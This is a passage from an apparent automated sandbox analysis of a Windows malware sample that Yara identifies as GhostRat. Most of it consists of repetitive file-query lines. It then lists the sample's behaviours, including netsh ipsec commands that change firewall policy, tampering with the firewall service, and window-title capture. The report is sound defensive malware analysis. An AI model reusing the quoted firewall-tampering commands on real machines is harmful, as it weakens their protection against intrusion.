Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Threading.Tasks.Extensions.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Diagnostics.Runtime.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\System.Collections.Immutable.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\traffmonetizer\Traffmonetizer.exe	Queries volume information: C:\Windows\Microsoft.NET\traffmonetizer\Microsoft.Bcl.AsyncInterfaces.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_00409340 lstrcatA,GetForegroundWindow,lstrlenA,lstrlenA,lstrlenA,GetLocalTime,wsprintfA,GetWindowTextA,

29_2_00409340

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 27_2_1000BCC3 OpenProcessToken,LookupAccountNameA,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,

27_2_1000BCC3

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Code function: 0_2_00421AE2 GetVersion,GetProcessVersion,LoadCursorA,LoadCursorA,LoadCursorA,

0_2_00421AE2

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Adds new windows firewall policy

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add policy name=Block

Contains functionality to modify windows services which are used for security filtering and protection

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 29_2_00411A50 OpenServiceA 00000000,sharedaccess,000F01FF

29_2_00411A50

Modifies the windows firewall

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add filter filterlist=Filter1 srcaddr=any dstaddr=Me dstport=135 protocol=TCP

Uses netsh to modify the Windows network and firewall settings

Source: C:\Users\user\Desktop\exe1.bin.bak.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh ipsec static add policy name=Block

Stealing of Sensitive Information

Yara detected GhostRat

Source: Yara match	File source: 27.2.svchost.exe.11776ac0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Hooks.exe.1b98d8e.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.svchost.exe.11776ac0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Hooks.exe.1b98d8e.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.2174361493.0000000001B8F000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
